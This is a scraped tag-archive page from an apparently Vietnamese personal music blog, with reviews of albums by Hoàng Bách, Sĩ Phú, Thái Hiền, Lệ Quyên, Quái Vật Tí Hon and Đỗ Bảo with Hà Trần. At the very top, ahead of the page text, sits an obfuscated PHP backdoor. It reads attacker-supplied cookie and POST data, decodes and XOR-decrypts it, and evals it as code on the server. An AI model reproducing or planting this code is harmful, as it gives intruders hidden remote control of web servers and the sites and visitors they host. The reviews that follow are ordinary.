$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> nhạc-nhẽo – Page 3 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: nhạc-nhẽo (page 3 of 5)

Hoàng Bách – Trời còn mưa mãi

Vào thời điểm phát triển cực thịnh của các Boy Band ở Việt Nam, vốn rập khuôn theo hình mẫu Tây Phương với hình ảnh bóng mượt, hào nhoáng và các ca khúc dễ nghe, dễ thuộc, thì AC&M xuất hiện (vốn tách ra từ dàn hợp xướng của phòng trà ATB) và thổi làn gió mới vào nền nhạc Việt, với cách hát Acapella lạ lẫm nhưng được giới trẻ yêu thích. AC&M trong trí nhớ của tôi là một boy band rất lịch lãm và hiện đại, một điểm nhấn thú vị mà có lẽ phải lâu nữa mới tìm được một nhóm nào như thế. Vì vậy, khi AC&M tan rã, và các thành viên trong AC&M tung ra album solo, tôi mong đợi rất nhiều.

Hai tên tuổi được nhắc đến nhiều nhất ở AC&M ngày đó: Hoàng Bách và Nam Khánh, thì theo tôi, Nam Khánh vụt lên như một giọng ca cực đẹp. Gần đây, người ta hay nói nhiều đến Tùng Dương, Bằng Kiều hay Trần Thái Hòa, Lê Hiếu hay Đức Tuấn… Dĩ nhiên, mỗi nam ca sĩ sở trường một lĩnh vực khác nhau, nhưng trong số các album của các nam ca sĩ Việt gần đây, rất khó kiếm được album nào đẹp lung linh như ‘Yêu & Mơ’ của Nam Khánh. (Một nam ca sĩ rất có-tiềm-năng, nhưng theo kiểu khác, mà nếu có thời gian sau tôi sẽ nhắc đến – là Hà Anh Tuấn).

Khi trong AC&M, Hoàng Bách hoàn toàn không lép vế so với Nam Khánh, cả về chất giọng lẫn phong cách, thậm chí Hoàng Bách còn có ưu điểm là sáng tác tốt, với hai bài hát thuộc hàng ‘thương hiệu’ AC&M: “Chuyện chàng cô đơn” và “Đêm nay có mưa rơi”. Ấy thế mà sự nghiệp solo của Hoàng Bách, dù được báo chí đánh giá cao (?), với tôi hoàn toàn không có gì ấn tượng, nếu không muốn nói không thể đạt mức chấp nhận được với giọng ca đầy tiềm năng như anh.

“Trời còn mưa mãi” là album được phát hành gần đây (trong khoảng thời gian cuối năm) của Hoàng Bách, chủ đề là các ca khúc nhạc Nhật.

Người Việt mình không nghe nhạc (khá-xưa) Nhật nhiều lắm. Hầu hết những bài nhạc được giới trẻ yêu thích đều là từ nhạc Hoa, hoặc nghe giống nhạc Hoa. Ấn tượng đầu tiên của tôi về nhạc Nhật chắc là bài “Biển trắng” và “Tình thôi xót xa” do Lam Trường trình bày. Nhạc Nhật trong tôi không cổ và da diết như nhạc Hoa, nó đều đều, nhẹ nhàng và khá tinh tế – nhưng vì thế nên hơi khó nghe.

Hoàng Bách giọng nên dành cho các bài nhạc có âm tiết và cách trình bày hiện đại, tinh tế, chứ không hát hợp những bài ảo não và da diết quá đâu. Đó là những cảm giác bật lên đầu tiên trong tôi lâu rồi, khi lần đầu nghe ‘Thoáng mây bay’ – album nằm trong Classic Series hợp tác cùng Music Faces của Đức Trí vài năm trước. Vì vậy, khi tình cờ thấy album ‘Trời còn mưa mãi’ này, tôi nghe trong tâm trạng khá háo hức và mong chờ, vì tôi nghĩ nếu Hoàng Bách hát tinh tế xíu, thì ắt sẽ hợp lắm đây.

Á vậy mầy…

Có thể Hoàng Bách quá tự tin vào giọng-hát-nhạc-viện được đào tạo bài bản của mình nên anh quyết định giữ lại hoàn toàn cách phối khí của các bài trong album này theo phong cách phối khí đã quen thuộc – và đã được đóng-thương-hiệu các ca sĩ nam, nữ nổi tiếng khác đi trước. Có thể anh nghĩ, giọng hát và cách trình bày của anh là đủ để thính giả cảm thấy sự khác biệt (theo nghĩa hay hơn). Quả thật là có khác biệt.

Khi nghe album này, không quá khó để nhận ra cách hát như đứng dưới vai trò của người thuật chuyện, chứ không còn là người trong câu chuyện của nam ca sĩ. Cũng khó cho anh, với các ca khúc về nỗi đau và chia ly của nhân vật chính, như ‘Sa mạc tình yêu’, ‘Tan tác’, ‘Tàn tro’… đa phần các bản trình bày thành công là đều của các kiều nữ yếu đuối và mỏng manh như sương, cất tiếng hát lên đã đủ khiến người thương (điển hình là Ngọc Lan hay Đặng Lệ Quân của Đài Loan). Bảo một người đàn ông đang gắng xây dựng phong cách lịch lãm như Hoàng Bách hát đúng kiểu đó, và với kiểu phối khí quen thuộc đó, thì ắt là không được. Khi mà anh gắng để làm, thì kiểu hát của anh đã lại đi về hướng dửng dưng; mà khi thuật chuyện anh dửng dưng, thì sẽ dễ khiến thính giả nghĩ anh hời hợt.

Đánh giá quá khắt khe thế thì cũng thấy hơi áy náy, vì giọng Hoàng Bách hoàn toàn không dở, nhưng quả thật anh làm khó thính giả quá. Anh muốn giữ cách hòa âm, phối khí như kiểu xa xưa (trong bài phỏng vấn nào đó của anh đã nói thế), nhưng nếu thính giả nào đã quen với các bản nhạc qua giọng ca quen thuộc năm nào, thì sẽ khó để thấy bản của anh hay. Liệu không biết những ai chưa từng nghe qua, thấy yêu thích những bản năm nào, thì có thấy album này của Hoàng Bách hay không? Chứ tôi làm không được rồi đấy..

Sĩ Phú – Còn chút gì để nhớ

Làng ca nhạc văn nghệ Sài Gòn trước 1975 không thiếu những giọng ca nam đỉnh. Đó là thời điểm u ám về lịch sử nhưng tuyệt diệu về nghệ thuật mà có lẽ phải lâu, rất lâu sau mới gặp lại được. Các nam ca sĩ thời đó mỗi người một vẻ, có những người hừng hực bùng nổ với những bản nhạc tình kích động; có người hát về sự đau thương và bi sầu của chia ly thời cuộc; lại có những người chỉ đơn thuần hát nhạc tình, rất trầm ấm, nhẹ nhàng và lịch lãm. Sĩ Phú là một cái tên như thế.

Không xuất thân là ca sĩ chuyên nghiệp, đối với Sĩ Phú, ca hát chắc chỉ như một nhánh rẽ tình cờ của số mệnh, nhưng với nhiều người, Sĩ Phú xứng với một chỗ đứng thật cao trong làng tân nhạc Việt Nam, như một trong những cái tên góp phần lớn làm nên cái thời điểm tuyệt diệu ấy.

Khi còn ở Việt Nam, Sĩ Phú đã cộng tác với Phạm Mạnh Cương trong một số băng đĩa nhạc mang nhãn hiệu Tú Quỳnh, và sau 1975 khi qua hải ngoại, Sĩ Phú cũng tiếp tục góp tên mình trong một loạt CD khác. Nhưng nếu phải lựa CD của Sĩ Phú mà tôi thích nhất, thì chắc đó sẽ là “Còn chút gì để nhớ”.

“Còn chút gì để nhớ” là CD được thực hiện chỉ 3 tuần trước khi Sĩ Phú ra đi vĩnh viễn, được ra mắt tại vũ trường Majestic vào năm 2000. Thời điểm đó, CD này gây được tiếng vang khá lớn trong cộng đồng âm nhạc hải ngoại. Buổi ra mắt CD có sự góp mặt của phần lớn các tên tuổi nổi tiếng nhất trong nền nhạc hải ngoại thời bấy giờ. Thật ra, CD này không phải tập hợp tất cả những bài hay nhất của Sĩ Phú (theo ý tôi), nhưng có những bài mà có lẽ với tôi, nghe ca sĩ nào khác trình bày cũng thấy không hay được bằng nữa.

Sáng thứ 2 đầu tuần, tới công ty, vừa uống cafe vừa nghe lại CD này và đọc lời của Du Tử Lê:

Nếu ta có thể hình dung mỗi tiếng hát tự thân là một nhan sắc; thì sớm, muộn gì, nắng, mưa cũng sẽ mang đến cho ta một, hay nhiều phó bản.

Với sức sống ngồn ngộn bình minh của những lên đường rói tươi, và, với kỹ thuật, đôi khi phó bản đã làm mờ, lu; thậm chí, đẩy lui chính bản vào quên lãng. Nhưng, tiếng hát Sĩ Phú, trong cảm nhận của tôi, không chỉ là một nhan sắc có lấy cho nó một thời, rực rỡ; mà, hằng hàng riêng, lẻ.

Hơn ba mươi năm kể từ ngày tiếng hát Sĩ Phú chợt cất lên, nhu một viễn du bốc đồng hạnh phúc và, khổ đau cùng lúc, đã trôi qua.

Hơn ba mươi năm, tôi nghĩ, dù cho nhận, biết; nắng, mưa dường như bất lực, hay lú lẫn chối bỏ thói quen hăm hở tạo, sinh phó bản.

Cũng có thế, tự căn bản, nắng mưa đã bẵng quên tạo sẵn mẫu mã, trước khi gửi vào tiếng hát Sĩ Phú, một nhan sắc…

Nên tiếng hát kia, nhan sắc nọ, sẽ mãi còn, như một tình yêu đời, đời đi tìm trái tim thất lạc, của chính nó.

Thế là quá đủ để bắt đầu một tuần mới rồi. Hi`.

Lá Diêu Bông – Thông Điệp Mùa Xuân – Phạm Duy 1985

Nhân đọc lại “Bên kia Sông Đuống” – một trong những bài thơ hiếm hoi học ở bậc phổ thông trung học mà tới giờ mình vẫn còn nhớ lời, mình nghĩ tới album này, loay hoay tìm nghe lại và viết vài dòng.

Thơ Hoàng Cầm – oanh vàng Kinh Bắc, rất hay, nhưng chả hiểu sao không mấy nhạc sĩ đem mấy bài thơ của ông vào nhạc. Mình đoán là vì khó, thơ Hoàng Cầm dễ đọc, dễ hiểu với thi từ và ý thơ đơn giản, nhưng để chuyển tải cái mộc mạc giản đơn, nhẹ nhàng mà tinh tế ấy vào nhạc thì chắc khó. Có lẽ nhạc sĩ Phạm Duy là người hiếm hoi (hoặc duy nhất – correct me if i’m wrong) phổ thơ Hoàng Cầm.

Trong những cuốn hồi kí và các cuộc phỏng vấn của mình, Phạm Duy luôn khen ngợi và đánh giá Hoàng Cầm rất cao, từ nhân cách tới lãnh vực nghệ thuật. Phạm Duy thân với Hoàng Cầm từ hồi trên chiến khu Cao – Bắc – Lạng. Chính Phạm Duy cũng thừa nhận rằng ông chịu ảnh hưởng tình yêu nước từ Hoàng Cầm rất nhiều. Phạm Duy đã từng phổ thơ khá nhiều bài của thi sĩ Hoàng Cầm và được đông đảo thính giả yêu mến.

Lại nói về album này, album này được phát hành ở hải ngoại vào năm 1985, chủ yếu là các ca khúc của Hoàng Cầm, có xen vào vài ca khúc khác, như bài “Màu thời gian” thơ Đoàn Phú Tứ, hay hai bài sặc mùi ‘chống Cộng’ do Phạm Duy viết. Album do nhạc sĩ hòa âm phối khí được xem như là hay nhất hải ngoại, cũng là con ruột của Phạm Duy thực hiện. Ca sĩ trình bày bài hát này là Thái Hiền, cũng là con gái của Phạm Duy.

Đã nhắc đến thì lại phải nói tiếp, trong số các người con hay những người có liên quan trong đại gia đình Phạm Duy, thì Thái Hiền không được biết đến nhiều lắm. Ở làng nhạc hải ngoại, cái tên Thái Hiền cũng không nổi bật. Nhưng điều đó không có nghĩa Thái Hiền hát không hay. Mình thích Thái Hiền còn hơn thích cả Ý Lan. Thái Hiền sống khá nội tâm, khép kín, cô không đi show hay trình diễn ở các chương trình nhạc hội của Paris By Night hay Asia. Cô không có cái giọng kim cao đến chói xoáy thẳng vào óc người nghe như người dì là Thái Thanh, không có cái vẻ yểu điệu gió thổi mây bay như của người em họ Ý Lan, giọng của Thái Hiền nhẹ nhàng và thanh khiết hệt như tính cách của cô.

Lấy như bài “Lá diêu bông”. Bài này hát thành công nhất là Ý Lan, hát đúng cái chất ỡm ờ nửa khiêu khích nửa e thẹn của người con gái kinh Bắc. Lúc nghe Ý Lan chỉ cứ nghĩ ngoài Ý Lan ra không ai trình bày đạt hơn được nữa. Nghe lại Thái Hiền mới thấy khác. Dĩ nhiên cả 2 version đều mười phân vẹn mười. Ở Thái Hiền không đạt được chất ‘lẳng’ như khi Ý Lan hát, nhưng có cảm giác mộc mạc và nhẹ nhàng, như đúng một câu chuyện say nắng của những chàng trai nông thôn ngày đó – yêu rồi phải quên, giản đơn như vốn nó là thế.

Hay như bài “Cỗ bài tam cúc” (Cây tam cúc – Hoàng Cầm), tới câu:

Em đừng lớn nữa chị đừng đi

Nghe Thái Hiền hát yêu không chịu nổi.

Nếu có điểm mình không vừa ý với album này thì đó là nhạc sĩ Phạm Duy nói quá nhiều, nếu bỏ bớt đi những lời ông tỉ tê nói, cùng 2 bài ‘chống Cộng’ thêm vào cuối album thì có thể với mình sẽ là album tuyệt vời. Thôi đành chép miệng vừa chuyển bài thì kéo cho forward khúc đầu vậy. Giọng Thái Hiền quá hay, đang nghe lại lần nữa tới câu

Trăm năm tình cũ lìa không hận
Thà khép mày hoa, thiếp phụ chàng

Lại không nhịn nổi mà vỗ đùi đánh đét một cái.

À, nghe thì nên nghe thêm bài “Bên kia sông Đuống” mà Phạm Duy phổ thơ năm 2010, do Mỹ Linh trình bày, để hoàn toàn đắm chìm vào không khí nhạc Phạm Duy – thơ Hoàng Cầm trọn vẹn nhất…

Lệ Quyên – Con tim dại khờ

‘Con tim dại khờ’ là album mới nhất của Lệ Quyên, được tung ra cùng lúc với ‘Dòng thời gian’ mà mình từng viết nhăng viết cuội ở đây.

Đầu tiên, mình chỉ muốn nói là Lệ Quyên ơi sao chị lại đẹp và gợi cảm thế. Kế đó, mới lại-là những dòng viết linh tinh sau khi nghe album này.

Album này được tung ra cùng lúc với ‘Dòng thời gian’, nhưng khác chỗ là nếu như album kia toàn những bài nhạc tình kinh điển trong dòng chảy âm nhạc Việt Nam gần 1 thế kỉ nay, thì ‘Con tim dại khờ’ lại là album nhạc trẻ, rất trẻ. Cái khó cho cả chị Lệ Quyên và người nghe, là nghe 2 album cùng lúc, người nghe cảm thấy giọng chị rất giống nhau ở cả 2 album (vì chị làm cùng lúc). Đó cũng có nghĩa là chị không hát đạt hoàn hảo 1 album nào cả.

Điều khác biệt lớn nhất là hát nhạc trẻ hiện tại, cái khoảng-cách-tới-hoàn-hảo xa xa cũng được, người nghe sẽ dễ tính bỏ qua. Nhưng với những bài mà đã đi theo dòng thời gian, đi vào trong lòng người với 1 giọng ca bất hủ nào đó, thì chỉ cần kém xíu là người nghe nhận ra ngay. Đó là lí do mình đánh giá ‘Dòng thời gian’ có thể được xem như là một thất bại. May thay, chị có album ‘Con tim dại khờ’ này gỡ gạc lại phần nào. Đúng ra mà nói ‘Con tim dại khờ’ không thật sự hay như các album trước của Lệ Quyên. Nhưng với đối tượng chính của album này – các bạn khá trẻ, thì là vừa đủ. Vì thật ra cũng kiếm được mấy ca sĩ trẻ ở thời điểm hiện tại hát chững chạc thế này đâu?

Tuy nhiên, như mình, mình luôn mong chờ ở một Lệ Quyên có thể trở thành diva, hay ít nhất là nữ hoàng nhạc Pop Việt trong tương lai, thì album này vẫn chỉ dưới tiêu chuẩn của mình, thậm chí khá xa. Các bài hát trong album nhạt nhòa, dù trong đó toàn những bài mà nếu chị hát tốt hoàn toàn có thể đánh dấu tên tuổi.

Dòng nhạc hải ngoại có một Minh Tuyết khá xứng với danh hiệu nữ hoàng nhạc Pop Việt (dĩ nhiên ở cộng đồng hải ngoại thôi), gần đây Thúy Nga cũng có Lam Anh rất triển vọng. Bài hát thời gian này được xem như ‘độc quyền’ (ý chỉ chưa ai hát hay hơn) của Minh Tuyết: ‘Nếu em được chọn lựa’, trong album mới nhất của mình Lam Anh có hát lại, và ở album này, Lệ Quyên cũng trình bày lại. Theo mong đợi của mình, Lệ Quyên sẽ trình bày bản này hay hơn cả Minh Tuyết ở bản gốc, hoặc ít ra cũng phải hay hơn Lam Anh, nhưng mình thất vọng. Bản này phối rất hay, khúc mở đầu giọng Lệ Quyên hát cảm xúc và rất đạt, từ biểu cảm đến cách nhả chữ đặc trưng của chị, nhưng những khúc cao trào lại thua hẳn Minh Tuyết và Lam Anh.

Dĩ nhiên, nhắc lại, với những bạn trẻ – đối tượng chính của album, thì album này là hay vừa đủ, so với mặt bằng các album trên thị trường hiện tại, nhưng với 1 người yêu thích và chờ đợi sự tỏa sáng như-dĩ-nên-thế của chị ở mình, thì mình cảm thấy đây là chưa đủ.

Mình chỉ hi vọng Lệ Quyên trở lại là chị trước đây, trước khi quá chạy theo thị trường, chỉ mong thấy một Lệ Quyên – chỉ – hát – mà – thôi.

Quái Vật Tí Hon – Đường về

Đàn bà kể chuyện cổ tích, đàn ông nói về cuộc đời…

Hầu như những câu chuyện âm nhạc đẹp nhất đều được viết bởi đàn ông. Trần Tiến kể về đời sống, Quốc Bảo viết chuyện tình yêu, Trịnh Công Sơn nói về cuộc đời và thân phận. Còn Quái Vật Tí Hon, họ nói về trải nghiệm.

Tôi nghe “Đường Về” của Quái Vật Tí Hon từ rất lâu rồi, đợt đó những bài hát của họ là một trong những vị nhạc mà tôi nhấp trong suốt quãng đường lái xe rong ruổi xuyên bang của mình. Nhạc của Quái Vật Tí Hon là những câu chuyện kể về trải nghiệm cuộc đời, những điều tưởng như là của cá nhân riêng họ. Chợt đến một ngày, nghĩ ra, tìm nghe, và thấy lòng buồn se sắt lại, vì đột nhiên thấy câu chuyện đó như là của riêng mình.

Vì đàn ông, chung quy, dù đi bao con đường, cũng vẫn có cùng một vài loại trải nghiệm giống nhau. Như hôm nay, trên đường tan làm kẹt xe, thấy mệt mỏi vô cùng, nghe Hải Bột hát “về nhấc chén say ta vứt đời” thấy chính mình buột miệng: “vứt mẹ nó, về thôi”. Nhạc Quái Vật Tí Hon dễ nghe mà lại khó cảm, vì không ai bảo ai cảm được trải nghiệm. Những nét buồn, những vị đắng của trải nghiệm, phải đích thân trải qua rồi mới biết.

Vì sự mơ mộng làm nên đàn bà, còn trải nghiệm tạo thành tính cách của một người đàn ông…

Kẻ thù ta là đời
Bạn của ta là trời
Đêm nay buông trời ôm đất…

Lệ Quyên – Dòng thời gian

Trong các ca sĩ trẻ Việt Nam vào thời điểm hiện tại, Lệ Quyên được xem như là khuôn mặt sáng giá nhất, kể cả về nghệ thuật lẫn độ nổi tiếng và hút fan. Ngoài giọng hát truyền cảm và đầy nội tâm, Lệ Quyên còn được phú cho một vẻ duyên dáng rất yêu, giọng nói ngọt ngào. Tóm lại là ngay từ những album đầu tiên của Lệ Quyên, mình đã thích ngay chị

Đỗ Bảo – Chuyện của mặt trời, chuyện của chúng ta

Ở Việt Nam những năm hiện tại, có hai nhạc sĩ rất tài ba trong việc dùng nhạc thay thoại, đó là Trần Tiến và Đỗ Bảo. Cảnh trong nhạc Trần Tiến là một tay giang hồ phiêu du nào đó, mỏi mệt ngồi xuống kể chuyện xứ đồng quê; còn nhạc Đỗ Bảo như trong những bộ phim Hồng Kông thập kỉ 90, mọi thứ diễn ra chầm chậm, uể oải, tưởng tất cả sẽ trôi qua vô vị nhưng trong đó lại có vài điểm nhấn nhẹ đầy xúc cảm. Cái khó của nhạc sĩ khi viết nhạc như chuyện kể, đó là làm sao để người nghe không dễ chán, hay tài hơn nữa là để họ tưởng như câu chuyện đó được viết cho riêng mình (vì phỏng trên đời mấy ai thích ngồi nghe câu chuyện người khác đâu?)

Tôi, vào những ngày của tháng 6 nơi thời gian gần như dừng lại – không phải vì cái uể oải của mùa hè, mà là sự lười biếng từ trong tâm. Em đã xa tôi, và tôi chuẩn bị xa Việt Nam, đã từng nghĩ “Bài ca tháng sáu” của Đỗ Bảo như là một câu chuyện kể dành riêng cho mình. Người ta thích nhạc của một ai đó, có lẽ chỉ từ những sự đồng cảm nhỏ như thế thôi.

“Cánh cung” là câu chuyện kể kéo dài non một thập kỉ của Đỗ Bảo, mở đầu với album cùng tên vào năm 2004, và kết thúc bằng “Chuyện của mặt trời, chuyện của chúng ta” vừa phát hành gần đây. Khác với nhiều người, tôi có xu hướng xem những bài của Đỗ Bảo như những câu chuyện ngắn vụn vặt hơn là gắng tìm mối liên kết giữa chúng với nhau. Những câu chuyện vặt của Đỗ Bảo mười năm trước và hiện tại không khác nhiều: cũng vẫn cùng một lối dẫn, xoay quanh vài kiểu trình bày. Tôi biết nhiều người có lẽ giống tôi, mong album này, bởi vì nó là sản phẩm của Đỗ Bảo (ừ, và Hà Trần) hơn là mong đợi một sự gì đổi mới, cách tân trong âm nhạc khác lạ.

Ca từ trong nhạc Đỗ Bảo không nắn nót đến mức tưởng thêm hoặc bớt một từ cũng đều đánh rơi cái đẹp như những lời nhạc của Quốc Bảo. Quốc Bảo viết hoa mỹ, Đỗ Bảo viết thoại giản đơn. Nhạc của Đỗ Bảo dễ nghe hơn, nhưng lại khó thích hơn.

Khác với 2 album “Cánh cung” trước, toàn bộ bài hát trong album này đều do Hà Trần trình bày. Hà Trần tuyệt vời nhất là Hà Trần của những ngày đầu còn chập chững hát, nhưng đỉnh cao của chị lại là những album sau đó – những album dày đặc tự sự khó nghe. Có thể nói, trong số các giọng ca nữ gần đây, không ai có thể kể chuyện hay như Hà. Cũng nên nhắc lại rằng, album từng làm cho khán giả phát sốt, đưa tên tuổi chị lên hàng diva, cũng là một album đầy tính tự sự, và do Đỗ Bảo hòa âm phối khí.

“Chuyện của mặt trời, chuyện của chúng ta” không rối rắm, ma mị và đầy ám ảnh như “Nhật Thực” năm nào. Thậm chí, so với 2 album “Cánh cung” trước thì phông màu xám của nó còn nhạt hơn. Trong 2 album trước, các câu chuyện được kể qua sự trình bày của nhiều ca sĩ khác nhau, vì thế mang nhiều màu sắc khác nhau. Đỗ Bảo quyết định để một mình Hà Trần độc diễn trong album Cánh Cung cuối cùng này. Trong 4 diva Việt Nam, thì Hà Trần được xem như là người có giọng hát mỏng nhất. Tuy sau này được bù đắp rất nhiều bằng kĩ thuật thanh nhạc và phòng thu, nhưng ở vài chỗ, đặc điểm đó trong giọng của cô vẫn khẽ bộc lộ ra, không che giấu được. Điều đó khiến tôi hơi e ngại. Lại nghĩ vu vơ, Hà Trần của “Nhật Thực” có lẽ chỉ xuất hiện một lần, rồi thôi.

Hà Trần trình bày tất cả các ca khúc trong “Chuyện của mặt trời, chuyện của chúng ta” đều rất đạt và tròn trịa. Bảo tôi tìm một ca sĩ trình bày được tinh tế như Hà Trần trong album này thì có lẽ chịu, tôi không tìm được đâu. Nghe “Chuyện của mặt trời, chuyện của chúng ta”, có lúc thấy Hà ngô nghê “Hãy đưa tôi về bên anh nhé đôi giày lười”, khi thì dửng dưng lạnh lùng “Anh đâu là tiên phật, mà nhìn ra khoảng trống thấy được vạn vật”, khi thì chậm rãi nhẹ nhàng nhưng đến xót xa “yêu là bâng khuâng trước bóng em vụn vỡ, bóng em điệp trùng“ trong bài “Người câu bóng” (đây là bài mà tôi ưng không thể nào chịu được). Thiết tưởng việc chỉ có một ca sĩ trình bày xuyên suốt trong album vốn là một yếu điểm nhưng nếu thực hiện đúng, thì lại thành ra điểm nhấn đáng chú ý.

Đến thời điểm viết xong những dòng này, tôi đã nghe album được 3 lần. “Chuyện của mặt trời, chuyện của chúng ta” cũng giống những câu chuyện bên bàn ăn của ông, của ba, những câu chuyện nhàm chán bắt đầu bằng câu quen thuộc “ngày xưa đó, cái thời của ba đó, ba còn nhớ…”, lặp lại ngày qua ngày, nhưng dần dần những diễn biến đó, những chi tiết đó đi vào trí nhớ lúc nào chẳng hay. Một ngày nắng nóng nực và lười biếng nào đấy, tự nhiên lại khẽ vang lên “Tháng sáu nóng như đổ lửa. Cây sấu giả thả chiếc lá xanh” hay “Anh đã mơ về, ngôi nhà và những đứa trẻ”. Có lẽ, những ca khúc trong album này rồi cũng sẽ được nhớ đến như thế.

Màu xám nhạt và đơn điệu, không có nghĩa là màu xám không có nét đẹp. Vấn đề chỉ là, vào thời điểm nào, thì người ta thích cái thứ màu đó mà thôi…

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.